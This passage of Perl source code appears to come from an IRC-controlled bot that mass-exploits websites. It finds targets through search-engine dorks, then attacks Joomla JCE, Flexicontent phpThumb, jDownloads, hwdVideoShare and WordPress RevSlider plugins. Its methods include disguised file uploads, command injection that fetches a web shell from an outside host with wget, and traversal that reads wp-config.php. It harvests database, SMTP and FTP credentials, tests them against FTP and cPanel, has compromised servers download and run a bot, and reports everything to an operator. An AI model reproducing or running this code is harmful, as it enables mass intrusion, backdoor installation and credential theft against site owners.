charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/petx.gif","petx.pHp"]}'; $header24 = "Content-Length: ".length($header25).""; ## EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); close($remote); } sub jce_cek_query4() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="petx.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aGLO'; $header16 = ""; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'petx'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/petx.gif","petx.pHp"]}'; $header24 = "Content-Length: ".length($header25).""; # EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; close($remote); } sub jce_cek_query5() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="petx.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aGLO'; $header16 = ""; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'petx'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/petx.gif","petx.php"]}'; $header24 = "Content-Length: ".length($header25).""; ## EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); close($remote); } sub jce_cek_query6() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="petx.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aGLO'; $header16 = ""; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'petx'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/petx.gif","petx.php"]}'; $header24 = "Content-Length: ".length($header25).""; # EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; close($remote); } sub carismtp() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $data = &get_content($url); my $psite = "http://".$site; if ($psite =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; } if ($data =~ m/smtphost/g && $data =~ m/smtppass/g || $data =~ m/ftp_host/g ) { my $smtphost=""; my $smtpport=""; my $smtpuser=""; my $smtppass=""; if ($data =~ m/smtphost = '(.*)';/g) { $smtphost = $1; } if ($data =~ m/smtpport = '(.*)';/g) { $smtpport = $1; } if ($data =~ m/smtpuser = '(.*)';/g) { $smtpuser = $1; } if ($data =~ m/smtppass = '(.*)';/g) { $smtppass = $1; } if ($data =~ m/ftp_host = '(.*)';/g) { $ftp_host = $1; } if ($data =~ m/ftp_port = '(.*)';/g) { $ftp_port = $1; } if ($data =~ m/ftp_user = '(.*)';/g) { $ftp_user = $1; } if ($data =~ m/ftp_pass = '(.*)';/g) { $ftp_pass = $1; } &msg("$admin","$jcelogo15$engine 9Result15 $smtphost:$smtpport $smtpuser:$smtppass | ftp://$site - $ftp_host:$ftp_port $ftp_user:$ftp_pass"); sleep(5); &ftp_connect("http://target.com",$host,$ftp_user,$ftp_pass,$chan,$engine); sleep(2); } } sub flexi_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$privlogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$channel","$privlogo 12OUT.."); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget ww.bijou-titane.com///js/lib//bad2.php -O up.txt;wget ww.bijou-titane.com///js/lib//bad2.php -O wp-sicks.php"; my $website = "http://".$site."/components/com_flexicontent/librairies/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."/components/com_flexicontent/librairies/phpThumb/up.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."/components/com_flexicontent/librairies/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv up.txt wp-sicks.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."/components/com_flexicontent/librairies/phpThumb/wp-sicks.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /anaLTEAM/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.log%3Brm+bot.log"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=Flexicontent"; &get_content($sender); &msg("$admin","$privlogo 3$engine 3$cwebsite 9$safe 14$os"); &msg("$chan","$privlogo $engine 12sHeLL send to sHoOcK ^_^ 2 $safe $os $uid "); } } } } } sub ninja_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ninjalogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$channel","$ninjalogo 12OUT.."); } my $aplod = LWP::UserAgent->new; my $req = $aplod->post("http://".$site."/ninja-applications/fufu/controllers/uploader/upload.php",[ 'file' => ['./18x.jpg' => '18x.jpg' => 'application/octet-stream'], 'name' => '18x.php', ], 'Content-type' => 'form-data' ); my $hasil = $req->as_string; my $sname; if ($hasil =~ /\"cleanFileName\" : \"(.*?)\"/) { $sname = $1; &msg("$chan","$ninjalogo 3$engine 9Payload successfully executed"); } my $shell = "http://".$site."uploads/temp/".$sname; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.log%3Brm+bot.log"); my $check = &get_content($shell); if ($check =~ /anaLTEAM/i){ my $safe = ""; my $os = ""; my $uid = ""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$ninjalogo $engine 12sHeLL send to sHoOcK ^_^ 2 $safe $os $uid "); &msg("$admin","$ninjalogo 3$engine 3$shell 9$safe 14$os"); } } } } sub hwd() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$hwdlogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$channel","$hwdlogo 12OUT.."); } my $bug = "/components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"; my $victim = "http".$site; my $victimx = "http".$site; $victim =~ s/http:\/\///; $victimx =~ s/http:\/\///; $victim =~ s/(.*)\/[^\/]*$/\1/; $victimx =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $victim =~ s/\/[^\/]+\/[^\/]+\z//; $victim =~ s/\/[^\/]+\z//; $victim .= '/'; my $aplod = LWP::UserAgent->new; $aplod->timeout(7); my $res = $aplod-> post("http://".$victim."/components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1", [ 'Filedata' => ['./18x.php.vob' => '18x.php.vob' => 'application/octet-stream'], ], 'Content-Type' => 'form-data' ); my $hasil = $res->as_string; my ($menit,$detik,$sz,$gmt); if ($hasil =~ /Done$/) { &msg("$chan","$hwdlogo 15$engine 9http://$victim "); if ($hasil =~ /close\s+Date\:\s+(.+?)\s+(.+?)\s+(.+?)\s+(.+?)\s+(\d+)\:(\d+)\:(\d+)\s+GMT/) { ($menit,$detik) = ($6,$7); } my $victime = &get_content("http://www.ip-tracker.org/locator/ip-lookup.php?ip=".$victimx); if ($victime =~ /Timezone GMT offset:<\/th>([-+])([\d]+)<\/td><\/tr>Sunrise/) { $sz = $1; $gmt = $2; } my $epoc = time(); my $hgmt = eval($epoc.$sz.$gmt); my $stime = strftime("%Y%m%d%H", gmtime($hgmt)); my $shell = "http://".$victim."tmp/".$stime.$menit.$detik."18x.php.vob"; my $shell2 = "http://".$victim."tmp/".$stime.$menit.eval($detik."-1")."18x.php.vob"; my $shell3 = "http://".$victim."tmp/".$stime.$menit.eval($detik."+1")."18x.php.vob"; my $check = &get_content($shell); my $check2 = &get_content($shell2); my $check3 = &get_content($shell3); if ($check =~ /anaLTEAM/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$hwdlogo $engine 12sHeLL send to sHoOcK ^_^ 2 $safe $os $uid "); &msg("$admin","$hwdlogo 3$engine 3$shell 9$safe 14$os"); } if ($check2 =~ /anaLTEAM/i){ my ($safe,$os,$uid,$host,$user,$pass); if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$hwdlogo $engine 12sHeLL send to sHoOcK ^_^ 2 $safe $os $uid "); &msg("$admin","$hwdlogo 3$engine 3$shell 9$safe 14$os"); } if ($check3 =~ /anaLTEAM/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$hwdlogo $engine 12sHeLL send to sHoOcK ^_^ 2 $safe $os $uid "); &msg("$admin","$hwdlogo 3$engine 3$shell 9$safe 14$os"); } } } exit; } sub jdown() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jdlogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$channel","$jdlogo 12OUT.."); } my $target = "http://".$site.$bug; my $crut = &jd_upload($target,"18x.php.j"); if ($crut == 1) { my $shell = "http://".$site."images/jdownloads/screenshots/18x.php.j"; my $check = &get_content($shell."?rf"); if ($check =~ /anaLTEAM/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$jdlogo $engine 12sHeLL send to sHoOcK ^_^ 2 $safe $os $uid "); &msg("$admin","$jomlogo 12sHeLL $shell ^_^ 2 $safe $os $uid "); my $loadbot = &jd_upload($target,"18x.php.j"); &get_content("http://".$site."images/jdownloads/screenshots/18x.php.j"); my $loadbot2 = &jd_upload($target,"18x.php.j"); &get_content("http://".$site."images/jdownloads/screenshots/18x.php.j"); $target =~ s/http:\/\///; $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;} if ($check =~ m/\$ftp_user = '(.+?)';/i){$user=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;} if ($host =~ /127.0.0.1/) { $host = $target} &msg("$chan","$jdlogo 3$engine 9Payload successfully executed"); if ($user =~ /_/) { my @userz = split("_", $user); $user = $userz[0];} my $success = 1; use Net::FTP; eval { my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; }; if ($success == 0) { &msg("$admin","12[2FTP15] [ 1http://".$host." 12] [".$user." : ".$pass."15] 1Success "); } } } } exit; } } sub jd_upload() { my $target = $_[0]; my $file = $_[1]; my $retx = 0; my $aplod = LWP::UserAgent->new; my $res = $aplod-> post($target, [ 'name' => "xXx", 'mail' => 'fuckoff@fuck.off', 'catlist' => "1", 'file_upload' => ['./image.zip' => 'image.zip' => 'application/octet-stream'], 'filetitle' => "xXx", 'description' => 'id', 'send' => "1", 'senden' => "Send file", 'description' => 'XxX', 'option' => "com_jdownloads", 'view' => "upload", 'pic_upload' => ['./'.$file => $file => 'application/octet-stream'], ], 'Content-Type' => 'form-data'); my $hasil = $res->content; if ($hasil =~ /color="green"/i) { $retx = 1; return $retx; } } sub revslider() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine,$searchlogo,$nick); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; my $test = "http://".$site."wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php"; my $re = &get_content($test); if ($re =~ /http:\/\//){ &sql_xpl($test,$dork,$chan,$site,$engine,$rsqllogo,$nick); &upload($site,$dork,$chan,$engine,$revlogo,$nick); sleep(1); &upload1($site,$dork,$chan,$engine,$revlogo,$nick); sleep(1); &upload2($site,$dork,$chan,$engine,$revlogo,$nick); sleep(1); &upload3($site,$dork,$chan,$engine,$revlogo,$nick); sleep(1); &upload4($site,$dork,$chan,$engine,$revlogo,$nick); sleep(1); &upload5($site,$dork,$chan,$engine,$revlogo,$nick); sleep(1); } if ($count == $num-1) { &msg("$chan","14$engine 12OUT.."); if ($engine =~ /eMeL/) { &sendraw("mode $chan -m"); # &msg("$chan","4- Advertising- 0,12 Thanks for scanning"); # &msg("$chan","$searchlogo 0Wait until finish!!!"); } } } } } sub sql_xpl() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $site = $_[3]; my $engine = $_[4]; my $logo = $_[5]; my $nick = $_[6]; my $data = &get_content($url); my $psite = "http://".$site; if ($psite =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; } if ($data =~ /DB_NAME/) { my $db = ""; my $user = ""; my $pass = ""; my $dbhost = ""; if ($data =~ m/'DB_NAME', '(.*)'/g) { $db = $1; } if ($data =~ m/'DB_USER', '(.*)'/g) { $user = $1; } if ($data =~ m/'DB_PASSWORD', '(.*)'/g) { $pass = $1; } if ($data =~ m/'DB_HOST', '(.*)'/g) { $dbhost = $1; } # &msg("$chan","$logo2$engine 4http://4$site4wp-login.php 2User : $user Pass : $pass"); # &msg("$chan","$logo(7@2$engine14) 13Shell uploading..."); # &msg("$chan","$logo(7@2$engine14) 13FTP trying..."); # &msg("$chan","$logo(7@2$engine14) 13cPanel trying..."); &ftp_connect($host,$dork,$user,$pass,$chan,$engine,$logo,$nick); sleep(2); &cp_connect($host,$dork,$user,$pass,$chan,$engine,$logo); sleep(2); } } sub ftp_connect() { my $host = $_[0]; my $dork = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $chan = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $nick = $_[7]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { &msg("$chan","$logo1$engine 3FTP Connected!  15Sent To $nick "); if ($nick eq $admin) { &msg("$admin","$logo(7@2$engine14) 4FTP Connected 14( 12ftp://".$host." 6".$user." 13:6 ".$pass." 14) 14Dork: $dork"); } else { &msg("$nick","$logo(7@2$engine14) 4FTP Connected 14( 12ftp://".$host." 6".$user." 13:6 ".$pass." 14) 14Dork: $dork"); &msg("$admin","$logo(7@2$engine14) 4FTP Connected 14( 12ftp://".$host." 6".$user." 13:6 ".$pass." 14) 14Dork: $dork 14by: $nick"); } } } exit; } } sub cp_connect() { my $host = $_[0]; my $dork = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $chan = $_[4]; my $engine = $_[5]; my $logo = $_[6]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $cp = "ftp://$user:$pass@".$host.""; my $cpanel = &get_content($cp); if ($cpanel =~ /ftp/){ &msg("$chan","$logo1$engine 3cPanel Connected!"); if ($nick eq $admin) { &msg("$admin","$logo(7@2$engine14) 4cPanel Connected 14( 2".$host."/controlpanel 7".$user." 13:7 ".$pass." 14) 14Dork: $dork"); } else { &msg("$nick","$logo(7@2$engine14) 4cPanel Connected 14( 2".$host."/controlpanel 7".$user." 13:7 ".$pass." 14) 14Dork: $dork"); &msg("$admin","$logo(7@2$engine14) 4cPanel Connected 14( 2".$host."/controlpanel 7".$user." 13:7 ".$pass." 14) 14Dork: $dork 14by: $nick"); } } } exit; } } sub upload() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$url."wp-admin/admin-ajax.php"; my $manual = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider.zip;unzip revslider.zip"; my $shell = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider/3x.php"; my $pbots = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider/3x.php"; my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $uan->timeout(10); $uan->agent($useragent); my $status = $uan->get("$vuln"); my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { &msg("$chan","$logo1 $engine 14Payload successfully executed "); my $unzip = &get_content($manual); sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $rndstr = rndstr(8, 1..9, 'a'..'z'); my $cmd1 = encode_base64("echo $rndstr"); my $status = $uan->get("$shell?cmd=$cmd1"); if ($status->decoded_content =~ /system\(\) has been disabled/) { # &msg("$chan","$logo 1$engine 14Xploit failed: system() has been disabled");exit; }elsif ($status->decoded_content !~ /$rndstr/) { # &msg("$chan","$logo 1$engine 6Xploit success: " . $status->status_line . ""); my $target = &get_content($shell."?bajak"); if ($target =~ /Touched By sHoOcK/i) { &os($shell,$chan,$dork,$engine,$logo,$nick,$url); } if ($spread == 1) { &get_content($pbots,2); } } } #elsif ($exploit->decoded_content =~ /Wrong request/) {&msg("$chan","$logo 1$engine 14Payload failed: Not vulnerable ");exit;} #elsif ($exploit->decoded_content =~ m/0$/) {&msg("$chan","$logo 1$engine 14Payload failed: Plugin unavailable ");exit;} #else {$exploit->decoded_content =~ /<\/b>(.*?) /; &msg("$chan","$logo 1$engine 14Payload failed: $1 ");exit;} }exit; } } sub upload1() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$url."wp-admin/admin-ajax.php"; my $manual = "http://".$url."wp-content/plugins/showbiz/temp/update_extract/showbiz4.zip;unzip showbiz4.zip"; my $shell = "http://".$url."wp-content/plugins/showbiz/temp/update_extract/showbiz/3x.php"; my $pbots = "http://".$url."wp-content/plugins/showbiz/temp/update_extract/showbiz/3x.php"; my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $uan->timeout(10); $uan->agent($useragent); my $status = $uan->get("$vuln"); my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action1", client_action => "update_plugin", update_file => ["$update_file1"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { &msg("$chan","$logo1 $engine 14Payload successfully executed "); my $unzip = &get_content($manual); sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $rndstr = rndstr(8, 1..9, 'a'..'z'); my $cmd1 = encode_base64("echo $rndstr"); my $status = $uan->get("$shell?cmd=$cmd1"); if ($status->decoded_content =~ /system\(\) has been disabled/) { # &msg("$chan","$logo 1$engine 14Xploit failed: system() has been disabled");exit; }elsif ($status->decoded_content !~ /$rndstr/) { # &msg("$chan","$logo 1$engine 6Xploit success: " . $status->status_line . ""); my $target = &get_content($shell."?bajak"); if ($target =~ /Touched By sHoOcK/i) { &os($shell,$chan,$dork,$engine,$logo,$nick,$url); } if ($spread == 1) { &get_content($pbots,2); } } } #elsif ($exploit->decoded_content =~ /Wrong request/) {&msg("$chan","$logo 1$engine 14Payload failed: Not vulnerable ");exit;} #elsif ($exploit->decoded_content =~ m/0$/) {&msg("$chan","$logo 1$engine 14Payload failed: Plugin unavailable ");exit;} #else {$exploit->decoded_content =~ /<\/b>(.*?) /; &msg("$chan","$logo 1$engine 14Payload failed: $1 ");exit;} }exit; } } sub upload2() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$url."wp-admin/admin-ajax.php"; my $manual = "http://".$url."wp-content/themes/centum/revslider/temp/update_extract/revslider.zip;unzip revslider.zip"; my $shell = "http://".$url."wp-content/themes/centum/revslider/temp/update_extract/revslider/3x.php"; my $pbots = "http://".$url."wp-content/themes/centum/revslider/temp/update_extract/revslider/3x.php"; my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $uan->timeout(10); $uan->agent($useragent); my $status = $uan->get("$vuln"); my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { &msg("$chan","$logo1 $engine 14Payload successfully executed "); my $unzip = &get_content($manual); sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $rndstr = rndstr(8, 1..9, 'a'..'z'); my $cmd1 = encode_base64("echo $rndstr"); my $status = $uan->get("$shell?cmd=$cmd1"); if ($status->decoded_content =~ /system\(\) has been disabled/) { # &msg("$chan","$logo 1$engine 14Xploit failed: system() has been disabled");exit; }elsif ($status->decoded_content !~ /$rndstr/) { # &msg("$chan","$logo 1$engine 6Xploit success: " . $status->status_line . ""); my $target = &get_content($shell."?bajak"); if ($target =~ /Touched By sHoOcK/i) { &os($shell,$chan,$dork,$engine,$logo,$nick,$url); } if ($spread == 1) { &get_content($pbots,2); } } } #elsif ($exploit->decoded_content =~ /Wrong request/) {&msg("$chan","$logo 1$engine 14Payload failed: Not vulnerable ");exit;} #elsif ($exploit->decoded_content =~ m/0$/) {&msg("$chan","$logo 1$engine 14Payload failed: Plugin unavailable ");exit;} #else {$exploit->decoded_content =~ /<\/b>(.*?) /; &msg("$chan","$logo 1$engine 14Payload failed: $1 ");exit;} }exit; } } sub upload3() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$url."wp-admin/admin-ajax.php"; my $manual = "http://".$url."wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider.zip;unzip revslider.zip"; my $shell = "http://".$url."wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/3x.php"; my $pbots = "http://".$url."wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/3x.php"; my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $uan->timeout(10); $uan->agent($useragent); my $status = $uan->get("$vuln"); my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { &msg("$chan","$logo1 $engine 14Payload successfully executed "); my $unzip = &get_content($manual); sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $rndstr = rndstr(8, 1..9, 'a'..'z'); my $cmd1 = encode_base64("echo $rndstr"); my $status = $uan->get("$shell?cmd=$cmd1"); if ($status->decoded_content =~ /system\(\) has been disabled/) { # &msg("$chan","$logo 1$engine 14Xploit failed: system() has been disabled");exit; }elsif ($status->decoded_content !~ /$rndstr/) { # &msg("$chan","$logo 1$engine 